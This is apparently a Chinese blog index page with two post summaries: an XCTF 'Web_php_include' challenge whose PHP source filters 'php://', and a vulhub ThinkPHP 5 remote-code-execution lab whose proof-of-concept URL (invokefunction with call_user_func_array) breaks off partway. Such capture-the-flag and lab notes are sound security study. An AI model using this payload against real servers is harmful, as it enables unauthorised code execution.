摘要: XCTF题目:Web_php_include <?php show_source(__FILE__);//高亮显示源文件 echo $_GET['hello']; $page=$_GET['page']; //获取表单‘page’的值 while (strstr($page, "php://")) 阅读全文
posted @ 2020-10-14 19:20 LuoSpider 阅读(1338) 评论(0) 推荐(0) 编辑
摘要: 容器环境:https://vulhub.org/#/environments/thinkphp/5-rce/ POC http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_ar 阅读全文
posted @ 2020-10-14 14:08 LuoSpider 阅读(300) 评论(0) 推荐(0) 编辑